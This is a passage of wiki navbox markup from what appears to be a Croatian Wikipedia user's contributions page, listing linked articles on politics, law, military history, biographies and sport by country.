Waitangija]] • [[Vrhovni sud pravde (Venezuela)]] • [[Ustav Venezuele]] • [[Deklaracija nezavisnosti (Venezuela)]] • [[Ustav Kambodže]] • [[Kambodžanski tribunal]] • [[Ustav Hondurasa]] • [[Vrhovni sud pravde (Honduras)]] • [[Ustav Benina]] • [[Kvazisud]] • ''[[modus operandi]]'' • [[Ustav Fidžija]] • [[Zakon o pomirbi, toleranciji i jedinstvu]] • [[Ustav Estonije]] • [[Ustav Surinama]] • [[Vrhovni sud Singapura]] • [[Ustav Paname]] • [[Vrhovni sud pravde (Panama)]] |group3 = Politika |group3style = text-align:center; color:white; background: black; border:1px solid silver; |list3= {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = Općenito |list1 = [[Nacizam]] • ''[[Révolution nationale]]'' • [[Koronelizam]] • ''[[Juche]]'' • ''[[Songun]]'' • ''[[Songbun]]'' • [[Neutralna država]] • [[Čavizam]] • [[Nulta godina (Kambodža)|Nulta godina]] • ''[[Françafrique]]'' • ''[[Corregimiento]]'' • ''[[Comarca]]'' |group2 = Posebno |list2 = [[Popis njemačkih ministara obrane]] • [[Premijer Ujedinjenog Kraljevstva]] • [[Hitlerov kabinet]] • [[Premijer Japana]] • ''[[Kokkai]]'' • [[Nacionalna stranka oslobođenja (Kostarika)|PLN]] • [[Stranka građanske akcije|PAC]] • [[Libertarijanski pokret|ML]] • [[Predsjednik Kostarike]] • [[Zakonodavna skupština (Kostarika)]] • [[Predsjednik Gane]] • [[Premijer Gane]] • [[Stranka narodne konvencije|CPP]] • [[Parlament Gane]] • [[Državni savjet (Gana)]] • [[Premijer Australije]] • [[Parlament Australije]] • [[Generalni guverner Australije]] • [[Premijer Francuske]] • [[Predsjednik Francuske]] • [[Francuski parlament]] • [[Senat (Francuska)]] • [[Narodna skupština (Francuska)]] • [[Kongres Francuskog parlamenta]] • [[Predsjednik Brazila]] • ''[[Congresso Nacional]]'' • ''[[Senado Federal]]'' • ''[[Câmara dos Deputados]]'' • [[Premijer Brazila]] • [[Vječni predsjednik republike]] • [[Vrhovna narodna skupština]] • [[Premijer Sjeverne Koreje]] • [[Administrativna podjela Sjeverne Koreje]] • [[Spisak vrhovnih vođa Sjeverne Koreje]] • [[Spisak državnih poglavara Sjeverne Koreje]] • ''[[Ch'ŏndogyo Ch'ŏngudang]]'' • [[Predsjednik Kube]] • [[Premijer Kube]] • [[Nacionalna skupština narodne sile]] • [[Predsjednik Angole]] • [[Potpredsjednik Angole]] • [[Premijer Angole]] • [[Narodna skupština (Angola)]] • [[Generalni guverner Novog Zelanda]] • [[Premijer Novog Zelanda]] • [[Parlament Novog Zelanda]] • [[Predstavnički dom (Novi Zeland)]] • [[Zakonodavno vijeće (Novi Zeland)]] • [[Laburistička stranka Novog Zelanda]] • [[Zelena stranka Aotearoe Novog Zelanda]] • [[Prvo Novi Zeland]] • [[Kolonijalni tajnik Novog Zelanda]] • [[Predsjednik Venezuele]] • [[Narodna skupština (Venezuela)]] • [[Demokratska akcija (Venezuela)]] • [[Parlament Kambodže]] • [[Senat (Kambodža)]] • [[Narodna skupština (Kambodža)]] • [[Kralj Kambodže]] • [[Premijer Kambodže]] • [[Liberalna stranka (Kambodža)]] • [[Demokratska stranka (Kambodža)]] • [[Sangkum]] • [[Komunistička partija Kampućije]] • [[Nacionalni kongres (Honduras)]] • [[Predsjednik Hondurasa]] • [[Narodna skupština (Benin)]] • [[Predsjednik Benina]] • [[Premijer Benina]] • [[Conseil de l'Entente]] • [[Partija narodne revolucije Benina]] • [[Predsjednik Fidžija]] • [[Premijer Fidžija]] • [[Parlament Fidžija]] • [[Senat (Fidži)]] • [[Predstavnički dom (Fidži)]] • [[Veliko vijeće poglavica]] • [[Guverner Fidžija]] • [[Generalni guverner Fidžija]] • [[Administrativna podjela Fidžija]] • [[Premijer Kraljevstva Fidži]] • [[Ratu]] • [[Glavni ministar Fidžija]] • [[Zakonodavno vijeće (Fidži)]] • ''[[Riigikogu]]'' • [[Premijer Estonije]] • ''[[Riigihoidja]]'' • [[Komunistička partija Estonije]] • [[Predsjednik Surinama]] • [[Potpredsjednik Surinama]] • [[Premijer Surinama]] • [[Narodna skupština (Surinam)]] • [[Generalni guverner Surinama]] • [[Parlament Singapura]] • [[Predsjednik Singapura]] • [[Premijer Singapura]] • [[Stranka narodne akcije]] • [[Singapurska samouprava]] • [[Guverner Singapura]] • [[Yang di-Pertuan Negara]] • [[Zakonodavno vijeće (Singapur)]] • [[Zakonodavna skupština (Singapur)]] • [[Glavni ministar Singapura]] • [[Narodna skupština (Panama)]] • [[Narodna skupština predstavnika corregimienta|Narodna skupština predstavnika ''corregimienta'']] • [[Predsjednik Paname]] • [[Corregimiento (Panama)|''Corregimiento'' (Panama)]] }} |group4 = Vojna znanost |group4style = text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |list4= [[Regia Marina]] • [[Royal Navy]] • [[Vojska Kostarike]] • ''[[Maréchal de France]]'' • ''[[École spéciale militaire de Saint-Cyr]]'' • [[Korejska narodna armija]] • [[USS Pueblo (AGER-2)]] • ''[[Movimiento 26 de Julio]]'' • [[Oružane snage Angole]] • [[Kubanske revolucionarne oružane snage]] • ''[[Generalissimus]]'' • [[Khmer Issarak]] • [[Dahomejske Amazonke]] • [[Oružane snage Republike Fidži]] • ''[[Junglecommando]]'' • [[Singapurska strategija]] • ''[[Kenpei]]'' |group5 = Lingvistika |group5style = text-align:center; color:black; background: white; border:1px solid black; |list5 = [[Joruba jezik]] • [[Fon jezik]] • [[Fidžijski jezik]] • [[Fidžijski hindski jezik]] • [[Rotumanski jezik]] |group6 = Ostalo |group6style = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |list6= [[Kultura Sovjetskoga Saveza]] • [[Centar za obiteljske evidencije]] • [[Stair House]] • [[David Livingstone Centre]] • [[Psihijatrijska bolnica Broadmoor]] • [[The Blind Beggar]] • [[Oni (folklor)]] • ''[[Hanami]]'' • [[Tri mudra majmuna]] • ''[[The Strand Magazine]]'' • [[221B Baker Street]] • [[Museo Nacional de Costa Rica]] • [[Mekatelyu]] • [[Nacionalni park Tortuguero]] • [[Nacionalni park Poás]] • [[Waakye]] • [[Ganci]] • [[Sveučilište u Adelaideu]] • [[Sveučilište u Melbourneu]] • [[Marianne]] • [[Čudovište iz Rajskog jezera]] • ''[[Rodong Sinmun]]'' • [[Korejska centralna novinska agencija]] • [[Festival Arirang]] • [[Vargaška tragedija]] • [[Kambodžanski riel]] • [[Novi ljudi]] • [[Nacionalni autonomni univerzitet Hondurasa]] • [[Naša Gospa od Suyape]] • [[Zapadnoafrički CFA franak]] • [[Srednjoafrički CFA franak]] • [[Chupa Chups]] • [[Univerzitet na Fidžiju]] • [[Fidžijski dolar]] • [[Nacionalni park Sigatoka Sand Dunes]] • ''[[Cibi]]'' • [[Estonska marka]] • ''[[Postimees]]'' • [[Zastava Estonske Sovjetske Socijalističke Republike]] • [[Surinamski dolar]] • [[Surinamski gulden]] • [[Planska područja u Singapuru]] • [[Regije Singapura]] • [[Japanski okupacijski dolar]] • [[Panamska balboa]] • ''[[Shinjū]]'' |below= }} ===Biografije=== {{Navbox generic |titlestyle = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz društvene znanosti |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Povijest |group1style = text-align:center; color:#800000; background:#C19A6B; border:1px solid #800000; |list1= [[Slavko Goldstein]] |group2 = Pravo<br>Kriminologija |group2style = text-align:center; color:black; background:silver; border:1px solid black; |list2= {{Navbox subgroup | groupstyle = text-align:center; color:black; background:silver; border:1px solid black; |group1 = Pravo |list1 = [[Datoteka:LinkFA-star.png|14px]] [[Roland Freisler]] • [[Clarence Darrow]] • [[Moisés Vieites]] • [[Antonio Sánchez de Bustamante y Sirvén]] |group2 = Kriminologija |list2 = [[Vlado Černozemski]] • [[Datoteka:LinkFA-star.png|14px]] [[Braća Kray]] • [[George Cornell]] • [[Jack McVitie]] • [[Datoteka:LinkFA-star.png|14px]] [[Leopold i Loeb]] • [[Datoteka:LinkFA-star.png|14px]] [[Jack Trbosjek]] ([[:Kategorija:Jack Trbosjek|kategorija /uz izuzetke/]]) • [[Igor Guzenko]] • [[Issei Sagawa]] • [[Charles Augustus Howell]] • [[Charlotte Corday]] • [[Charles-Henri Sanson]] • [[Felice Orsini]] • [[Sante Geronimo Caserio]] • [[Leonard Read]] • [[Sogomon Tejlirjan]] }} |group3 = Politika |group3style = text-align:center; color:white; background: black; border:1px solid silver; |list3= {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = Amerike |list1 = {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = {{flagicon|SAD}} Sjedinjene Države |list1 =[[Datoteka:LinkFA-star.png|14px]] [[Harry S. Truman]] • [[William H. Seward]] • [[William Jennings Bryan]] • [[Harvey Milk]] • [[Dan White]] • [[George Moscone]] • [[Frank B. Kellogg]] • [[Fiorello H. La Guardia]] |group2 = {{flagicon|KAN}} Kanada |list2= [[Lester B. Pearson]] • [[Pierre Trudeau]] |group3 = {{flagicon|Kostarika}} Kostarika |list3= [[Juan Mora Fernández]] • [[José María Castro Madriz]] • [[Federico Tinoco Granados]] • [[Otilio Ulate Blanco]] • [[José Figueres Ferrer]] • [[Rafael Ángel Calderón Guardia]] • [[Laura Chinchilla]] • [[Óscar Arias]] |group4 = {{flagicon|Brazil}} Brazil |list4= [[Deodoro da Fonseca]] • [[Pedro I od Brazila]] • [[Pedro II od Brazila]] • [[Arthur Bernardes]] • [[Venceslau Brás]] • [[Washington Luís]] • [[Júlio Prestes]] • [[Getúlio Vargas]] • [[Plínio Salgado]] • [[João Goulart]] • [[Humberto Castelo Branco]] • [[Artur da Costa e Silva]] • [[Ernesto Geisel]] |group5 = {{flagicon|Kuba}} Kuba |list5= [[Carlos Saladrigas Zayas]] • [[Ramón Zaydín]] • [[Anselmo Alliegro y Milá]] • [[Félix Lancís Sánchez]] • [[Tomás Estrada Palma]] • [[Ramón Grau]] • [[Gerardo Machado]] • [[Camilo Cienfuegos]] |group6 = {{flagicon|Venezuela}} Venezuela |list6= [[José Antonio Páez]] • [[Cristóbal Mendoza]] • [[Francisco de Miranda]] • [[Rómulo Gallegos]] • [[Rafael Urdaneta]] • [[Juan Vicente Gómez]] • [[Cipriano Castro]] • [[Rafael Caldera]] • [[Datoteka:LinkFA-star.png|14px]] [[Rómulo Betancourt]] |group7 = {{flagicon|HON}} Honduras |list7= [[Juan Orlando Hernández]] • [[Dionisio de Herrera]] • [[Francisco Morazán]] • [[José Francisco Zelaya]] • [[Francisco Ferrera]] • [[Ramón Villeda Morales]] • [[Julio Lozano Díaz]] • [[Oswaldo López Arellano]] • [[Juan Alberto Melgar]] • [[Manuel Zelaya]] • [[Roberto Micheletti]] |group8 = {{flagicon|SUR}} Surinam |list8= [[Chan Santokhi]] • [[Ronnie Brunswijk]] • [[Johan Ferrier]] • [[Henck Arron]] • [[Dési Bouterse]] |group9 = {{flagicon|PAN}} Panama |list9= [[José Raúl Mulino]] }} |group2 = Europa |list2= {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1={{flagicon|UK}} Ujedinjeno Kraljevstvo |list1=[[Edward VIII.]] • [[George VI.]] • [[Herbert Henry Asquith]] • [[Clement Attlee]] • [[Tom Driberg]] • [[Robert Boothby, baron Boothby]] • [[Arnold Wienholt Hodson]] • [[Spencer Perceval]] • [[Stamford Raffles]] |group2 = {{flagicon|SSSR}} Sovjetski Savez |list2 = [[Nikita Hruščov]] • [[Jurij Andropov]] • [[Konstantin Černjenko]] • [[Andrej Gromijko]] • [[Vjačeslav Molotov]] {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = {{flagicon|RUS}} Rusija |list1 = [[Boris Jeljcin]] |group2 = {{flagicon|GRU}} Gruzija |list2 = [[Eduard Ševarnadze]] |group3 = {{flagicon|EST}} Estonija |list3 = [[Jaan Anvelt]] • [[Karl Kark]] • [[Konstantin Päts]] • [[Jaan Tõnisson]] • [[Kaarel Eenpalu]] • [[Jüri Uluots]] • [[Hjalmar Mäe]] • [[Johannes Vares]] • [[Jüri Ratas]] • [[Alar Karis]] • [[Johannes Käbin]] • [[Edgar Savisaar]] }} |group3 = {{flagicon|FRA}} Francuska |list3 = [[Charles de Gaulle]] • [[Philippe de Gaulle]] • [[Pierre Laval]] • [[Adolphe Thiers]] • [[Louis Barthou]] • [[Jean Monnet]] • [[Philippe d'Orléans, grof od Pariza|Philippe d'Orléans]] • [[Emmanuel Joseph Sieyès]] • [[Roger Ducos]] • [[Jean-Paul Marat]] • [[Louis Antoine de Saint-Just]] • [[Camille Desmoulins]] • [[Joséphine de Beauharnais]] • [[Joseph Fouché]] • [[Lucien Bonaparte]] • [[Élisa Bonaparte]] • [[Louis Bonaparte]] • [[Napoléon Louis Bonaparte]] • [[Jérôme Bonaparte]] • [[François Guizot]] • [[Lazare Carnot]] • [[Louis-Mathieu Molé]] • [[Victor de Broglie (1785–1870)|Victor de Broglie]] • [[Louis Blanc]] • [[Alexis de Tocqueville]] • [[Louis Eugène Cavaignac]] • [[Eugénie de Montijo]] • [[Napoléon Eugène Louis Bonaparte]] • [[Louis Jules Trochu]] • [[Patrice de Mac Mahon]] • [[Louis Auguste Blanqui]] • [[Léon Gambetta]] • [[Marie François Sadi Carnot]] • [[Jules Grévy]] • [[Albert de Broglie]] • [[Jules Armand Dufaure]] • [[William Henry Waddington]] • [[Jules Ferry]] • [[Jean Casimir-Perier]] • [[Charles Dupuy]] • [[Félix Faure]] • [[Émile Loubet]] • [[Raymond Poincaré]] • [[Aristide Briand]] • [[Paul Deschanel]] • [[Alexandre Millerand]] • [[Gaston Doumergue]] • [[Paul Doumer]] • [[Édouard Herriot]] • [[Pierre-Étienne Flandin]] • [[André Tardieu]] • [[Édouard Daladier]] • [[Albert Lebrun]] • [[André Maginot]] • [[Léon Blum]] • [[Vincent Auriol]] • [[René Coty]] • [[Alain Poher]] • [[Valéry Giscard d'Estaing]] |group4 = {{flagicon|NJE}} Njemačka |list4 = [[Konrad Adenauer]] (suradnja) {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = {{flagicon|NJE|empire}} Njemačko Carstvo |list1 = |group2 = {{flagicon|NJE}} Weimarska Republika |list2 = [[Wilhelm Cuno]] • [[Gustav Stresemann]] • [[Wilhelm Marx]] • [[Joseph Wirth]] • [[Philipp Scheidemann]] • [[Gustav Bauer]] • [[Konstantin Fehrenbach]] • [[Hans Luther]] • [[Hugo Haase]] • [[Kurt von Schleicher]] |group3 = {{flagicon|NJE|Nazi}} Treći Reich |list3 = [[Heinrich Himmler]] • [[Lutz Graf Schwerin von Krosigk]] • [[Martin Bormann]] • [[Datoteka:LinkFA-star.png|14px]] [[Joseph Goebbels]] • [[Edmund Veesenmayer]] • [[Datoteka:LinkFA-star.png|14px]] [[Hermann Göring]] • [[Walther Funk]] • [[Datoteka:LinkFA-star.png|14px]] [[Reinhard Heydrich]] • [[Karl-Siegmund Litzmann]] • [[Datoteka:LinkFA-star.png|14px]] [[Alfred Rosenberg]] |group4 = {{flagicon|DDR}} Istočna Njemačka |list4 = [[Walter Ulbricht]] }} |group5 = {{flagicon|ITA}} Italija |list5 = [[Giovanni Giolitti]] |group6 = {{flagicon|ŠPA}} Španjolska |list6 = [[Francisco Franco]] |group7 = {{flagicon|POLJ}} Poljska |list7 = [[Wojciech Jaruzelski]] • [[Bronisław Komorowski]] |group8 = {{flagicon|ŠVE}} Švedska |list8 = [[Olof Palme]] |group9 = {{flagicon|AUT}} Austrija |list9 = [[Karl Renner]] |group10 = {{flagicon|GRČ}} Grčka |list10 = [[Ioannis Metaxas]] |group12 = {{flagicon|Austro-Ugarska}} Austro-Ugarska |list12 = [[Marija Terezija|Maria Theresia]] • [[Josip II., car Svetog Rimskog Carstva|Joseph II.]] • [[Leopold II., car Svetog Rimskog Carstva|Leopold II.]] • [[Karlo VI., car Svetog Rimskog Carstva|Karl VI.]] • [[Franjo I., car Svetog Rimskog Carstva|Franz I.]] • [[Franjo II., car Svetog Rimskog Carstva|Franz II.]] • [[Ferdinand I. Austrijski|Ferdinand I.]] • [[Franjo Josip I.|Franz Joseph I.]] (dopuna) • [[Aleksandar Drašković]] • [[Sofija Chotek]] • [[Marie-Louise od Austrije]] |group13 = {{flagicon|SRB}} Srbija |list13 = [[Ilija Garašanin]] • [[Milan Nedić]] • [[Aleksandar I. Karađorđević]] |group14 = {{flagicon|MAĐ}} Mađarska |list14 = [[Lajos Kossuth]] • [[Károly Khuen-Héderváry]] • [[Miklós Horthy]] |group15 = {{flagicon|FIN}} Finska |list15 = [[Jaana Pelkonen]] • [[Carl Gustaf Emil Mannerheim]] |group16 = {{flagicon|RUM}} Rumunjska |list16 = [[Ion Antonescu]] • [[Nicolae Ceauşescu]] |group17 = {{flagicon|ČEŠ}} Češka |list17 = [[Datoteka:LinkFA-star.png|14px]] [[Edvard Beneš]] }} |group3= Azija i<br>Oceanija |list3= [[Kir Mlađi]] {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1 = {{flagicon|JAP}} Japan |list1 = [[Hirohito]] • [[Itō Hirobumi]] • [[Hideki Tōjō]] • [[Hara Takashi]] • [[Tsuyoshi Inukai]] • [[Keisuke Okada]] • [[Fumio Gotō]] • [[Yasuo Fukuda]] • [[Eisaku Satō]] • [[Car Taishō]] • [[Minamoto no Yoritomo]] • [[Yasuhiro Nakasone]] |group2 = {{flagicon|Kina}} Kina |list2 = [[Pu Yi]] |group3 = {{flagicon|VIJ}} Vijetnam |list3 = [[Hồ Chí Minh]] • [[Lê Đức Thọ]] |group4 = {{flagicon|Tajvan}} Republika Kina/Tajvan |list4 = [[Sun Jat-sen]] • [[Chiang Kai-shek]] |group5 = {{flagicon|Indija}} Indija |list5 = [[Jawaharlal Nehru]] |group6 = [[File:Flag of Korea 1882.svg|22px|border]] Koreja |list6 = [[Sunjong od Koreje]] {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1= {{flagicon|Sjeverna Koreja}} Sjeverna Koreja |list1 = [[Kim Il-sung]] • [[Kim Jong-il]] • [[Kim Yŏng-nam]] • [[Kim Il (političar)|Kim Il]] |group2 = {{flagicon|Južna Koreja}} Južna Koreja |list2 = }} |group7 = {{flagicon|IZR}} Izrael |list7 = [[Menahem Begin]] |group8 = {{flagicon|Kambodža}} Kambodža |list8 = [[Norodom Sihanouk]] • [[Norodom Sihamoni]] • [[Ponhea Yat]] • [[Ang Duong]] • [[Norodom od Kambodže]] • [[Sisowath od Kambodže]] • [[Sisowath Monivong]] • [[Sơn Ngọc Thành]] • [[Penn Nouth]] • [[Nuon Chea]] • [[Ieng Sary]] • [[Pol Pot]] • [[Khieu Samphan]] • [[Kang Kek Iew]] • [[Hun Sen]] |group9 = {{flagicon|Jordan}} Jordan |list9 = [[Hussein I., kralj Jordana|Hussein I.]] |group12 = {{flagicon|AUS}} Australija |list12 = [[Edmund Barton]] • [[Ben Chifley]] • [[Harold Holt]] • [[John Curtin]] • [[Robert Menzies]] • [[Gough Whitlam]] • [[John Kerr]] • [[Malcolm Fraser]] • [[Stanley Bruce]] |group11 = {{flagicon|NZL}} Novi Zeland |list11 = [[Patsy Reddy]] • [[William Hobson]] • [[James Busby]] • [[Henry Sewell]] • [[Alfred Domett]] • [[John Ballance]] • [[Richard Seddon]] • [[Michael Joseph Savage]] • [[Peter Fraser (novozelandski političar)|Peter Fraser]] |group10 = {{flagicon|Mjanmar}} Mjanmar |list10 = [[U Thant]] |group13 = {{flagicon|FIJ}} Fidži |list13 = [[Seru Epenisa Cakobau]] • [[Kamisese Mara]] • [[Sitiveni Rabuka]] • [[Timoci Bavadra]] • [[Penaia Ganilau]] • [[Josefa Iloilo]] • [[Frank Bainimarama]] • [[Jioji Konrote]] • [[Epeli Nailatikau]] |group14 = {{flagicon|SIN}} Singapur |list14 = [[Tharman Shanmugaratnam]] • [[Lee Hsien Loong]] • [[Lawrence Wong]] • [[David Marshall (singapurski političar)|David Marshall]] • [[Lim Yew Hock]] • [[Yusof bin Ishak]] }} |group4= Afrika |list4= {{Navbox subgroup | groupstyle = text-align:center; color:white; background: black; border:1px solid silver; |group1= {{flagicon|EGI}} Egipat |list1= [[Gamal Abdel Nasser]] • [[Datoteka:LinkFA-star.png|14px]] [[Anwar Sadat]] • [[Hosni Mubarak]] |group2= {{flagicon|ANG}} Angola |list2= [[Agostinho Neto]] • [[Lopo do Nascimento]] • [[Fernando José de França Dias Van-Dúnem]] • [[José Eduardo dos Santos]] • [[Jonas Savimbi]] • [[João Lourenço]] |group3= {{flagicon|SOM}} Somalija |list3= [[Mohamed Siad Barre]] |group4= {{flagicon|ZIM}} Zimbabve |list4= [[Robert Mugabe]] |group5={{flagicon|TOG}} Togo |list5= [[Faure Gnassingbé]] |group6={{flagicon|CIV}} Obala Bjelokosti |list6=[[Félix Houphouët-Boigny]] |group7={{flagicon|Gvineja}} Gvineja |list7= [[Ahmed Sékou Touré]] |group8={{flagicon|GAN}} Gana |list8= [[Samia Nkrumah]] • [[John Dramani Mahama]] • [[John Atta Mills]] • [[John Agyekum Kufuor]] • [[Jerry Rawlings]] • [[Hilla Limann]] • [[Fred Akuffo]] • [[Ignatius Kutu Acheampong]] • [[Edward Akufo-Addo]] • [[Nii Amaa Ollennu]] • [[Akwasi Afrifa]] • [[Joseph Arthur Ankrah]] • [[Kofi Abrefa Busia]] • [[Nana Akufo-Addo]] |group9={{flagicon|BEN}} Benin |list9= [[Gangnihessou]] • [[Dakodonou]] • [[Houegbadja]] • [[Hangbè]] • [[Agaja]] • [[Ghézo]] • [[Béhanzin]] • [[Agoli-Agbo]] • [[Toffa I]] • [[Sourou-Migan Apithy]] • [[Hubert Maga]] • [[Justin Ahomadégbé-Tomêtin]] • [[Christophe Soglo]] • [[Émile Derlin Zinsou]] • [[Datoteka:LinkFA-star.png|14px]] [[Mathieu Kérékou]] • [[Thomas Boni Yayi]] • [[Patrice Talon]] }} }} |group4 = Vojna znanost |group4style = text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |list4= {{Navbox subgroup | groupstyle =text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |group1= {{flagicon|SAD}} Sjedinjene Države |list1= [[Douglas MacArthur]] • [[Omar Bradley]] |group2= {{flagicon|UK}} Ujedinjeno Kraljevstvo |list2= [[Andrew Cunningham]] • [[Harold Alexander]] • [[Jean Conan Doyle]] • [[John Jellicoe]] • [[Bernard Freyberg]] • [[Ivan Lyon]] |group3= {{flagicon|FRA}} Francuska |list3= [[Philippe Pétain]] • [[Louis Franchet d'Esperey]] • [[Joseph Jacques Césaire Joffre]] • [[Ferdinand Foch]] • [[Gilbert du Motier, markiz de La Fayette]] • [[Joachim Murat]] • [[Michel Ney]] • [[Pierre-Charles Villeneuve]] • [[Georges Ernest Boulanger]] • [[Robert Nivelle]] • [[François Darlan]] • [[Henri Giraud]] • [[Maxime Weygand]] • [[Maurice Gamelin]] • [[Bob Denard]] |group4= {{flagicon|ITA}} Italija |list4= [[Alfredo Guzzoni]] • [[Angelo Iachino]] |group5= {{flagicon|POLJ}} Poljska |list5= [[Edward Rydz-Śmigły]] |group6= {{flagicon|VIJ}} Vijetnam |list6= [[Võ Nguyên Giáp]] |group7= {{flagicon|NJE}} Njemačka |list7= {{Navbox subgroup | groupstyle =text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |group1={{flagicon|NJE|empire}} Njemačko Carstvo |list1= [[Alfred von Schlieffen]] • [[Erich Ludendorff]] • [[Erich von Falkenhayn]] • [[August von Mackensen]] • [[Reinhard Scheer]] • [[Franz von Hipper]] • [[Colmar Freiherr von der Goltz]] • [[Alfred von Tirpitz]] • [[Adolf von Seckendorff]] |group2={{flagicon|NJE|Nazi}} Treći Reich |list2= [[Karl Dönitz]] • [[Wilm Hosenfeld]] • [[Friedrich Paulus]] • [[Erich von Manstein]] • [[Wilhelm Keitel]] }} |group8= {{flagicon|Austro-Ugarska}} Austro-Ugarska |list8= [[Oskar Potiorek]] • [[Conrad von Hötzendorf]] • [[Alois Hitler]] |group9= {{flagicon|JAP}} Japan |list9= [[Isoroku Jamamoto]] • [[Princ Akihito Komatsu]] • [[Takamori Saigō]] |group10= {{flagicon|SRB}} Srbija |list10= [[Pavle Jurišić Šturm]] |group11= {{flagicon|RUS}} Rusija |list11={{Navbox subgroup | groupstyle =text-align:center; color:#556B2F; background:#6B8E23; border:1px solid #556B2F; |group1={{flagicon|RUS}} Rusko Carstvo |list1= [[Aleksej Brusilov]] • [[Pjotr Wrangel]] • [[Nikolaj Judenič]] |group2={{flagicon|SSSR}} Sovjetski Savez |list2= [[Georgij Žukov]] • [[Konstantin Rokosovski]] • [[Nikolaj Kuznjecov]] }} |group12= {{flagicon|SJKOR}} Sjeverna Koreja |list12= [[Nam Il]] |group13= {{flagicon|EST}} Estonija |list13 = [[Johan Laidoner]] • [[Ain-Ervin Mere]] }} |group5 = Filozofi |group5style = text-align:center; color:#6699CC; background:#73C2FB; border:1px solid #6699CC; |list5= [[Baruch de Spinoza]] • [[Émile Durkheim]] • [[Jean-François Lyotard]] • [[Jacques Derrida]] • [[Louis Althusser]] • [[José Ortega y Gasset]] • [[Jeremy Bentham]] |group6 = Ostalo |group6style = text-align:center; color:#808080; background: #DCDCDC; border:1px solid #808080; |list6= [[David Livingstone]] • [[Oskar Schindler]] • [[Emilie Schindler]] • [[Wallis Simpson]] • [[Alice Pleasance Liddell]] • [[Ottla Kafka]] • [[Sadako Sasaki]] • [[Peter Turkson]] • [[Theodosia Okoh]] • [[Joan Sutherland]] • [[Maria Letizia Ramolino]] • [[Jan Palach]] • [[Pedro Álvares Cabral]] • [[Bernhard Schwarz]] • [[Michel Wieviorka]] • [[Carlos Manuel de Céspedes]] • [[Elián González]] • [[Diogo Cão]] • [[Paulo Dias de Novais]] • [[Irene Sáez]] • [[Anthelme Mangin]] • [[Dith Pran]] • [[Sydney Schanberg]] • [[Charles Delaunay]] • [[Poe Toaster]] • [[Virginia Eliza Clemm Poe]] • [[Lempira (vođa Lenka)|Lempira]] • [[Udre Udre]] • [[Aleksandar Langfang]] • [[Bayard Rustin]] • [[Aleksandar Holiga]] • [[Sang Nila Utama]] • [[Elizabeth Choy]] • [[Lav XIV]] • [[Lim Bo-seng]] • [[Shimeko Tanabe]] • [[Hatsuyo Oyama]] • [[Michiko Tsushima]] • [[Tomie Yamazaki]] • [[Valentina Tereškova]] |below= }} ==Sport== {{Navbox generic |titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Općenito o sportu (po sportovima) |groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |belowstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = [[File:Football pictogram.svg|20px]] Nogomet |list1= {{Navbox subgroup | groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |group1 = Reprezentacije |list1= {{nowrap begin}} {{flagicon|ANG}} [[Fudbalska ili nogometna reprezentacija Angole|Angola]] {{•w}} {{flagicon|AUS}} [[Fudbalska ili nogometna reprezentacija Australije|Australija]] {{•w}} {{flagicon|BEN}} [[Fudbalska ili nogometna reprezentacija Benina|Benin]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|FRA}} [[Fudbalska ili nogometna reprezentacija Francuske|Francuska]] {{•w}} {{flagicon|GAN}} [[Fudbalska ili nogometna reprezentacija Gane|Gana]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|HON}} [[Fudbalska ili nogometna reprezentacija Hondurasa|Honduras]] {{•w}} {{flagicon|Kambodža}} [[Fudbalska ili nogometna reprezentacija Kambodže|Kambodža]] {{•w}} {{flagicon|CRC}} [[Fudbalska ili nogometna reprezentacija Kostarike|Kostarika]] {{•w}} {{flagicon|KUB}} [[Fudbalska ili nogometna reprezentacija Kube|Kuba]] {{•w}} {{flagicon|POLJ}} [[Fudbalska ili nogometna reprezentacija Poljske|Poljska]] {{•w}} {{flagicon|UKR}} [[Fudbalska ili nogometna reprezentacija Ukrajine|Ukrajina]] {{•w}} {{flagicon|VEN}} [[Fudbalska ili nogometna reprezentacija Venezuele|Venezuela]] {{•w}} {{flagicon|FIJ}} [[Fudbalska ili nogometna reprezentacija Fidžija|Fidži]] {{•w}} [[Datoteka:LinkFA-star.png|14px]] {{flagicon|EST}} [[Fudbalska ili nogometna reprezentacija Estonije|Estonija]] {{•w}} {{flagicon|SUR}} [[Fudbalska reprezentacija Surinama|Surinam]] {{•w}} {{flagicon|SIN}} [[Fudbalska reprezentacija Singapura|Singapur]] {{•w}} {{flagicon|PAN}} [[Fudbalska reprezentacija Paname|Panama]] {{nowrap end}} |group2 = Klubovi |list2= {{nowrap begin}} {{flagicon|ENG}} [[Arsenal FC]] {{•w}} {{flagicon|ENG}} [[Fulham FC]] {{•w}} {{flagicon|SJKOR}} [[4.25]] {{•w}} {{flagicon|SJKOR}} [[Pyongyang City SC]] {{•w}} {{flagicon|SUR}} [[Inter Moengotapoe]] {{nowrap end}} |group3 = Lige |list3= {{nowrap begin}} 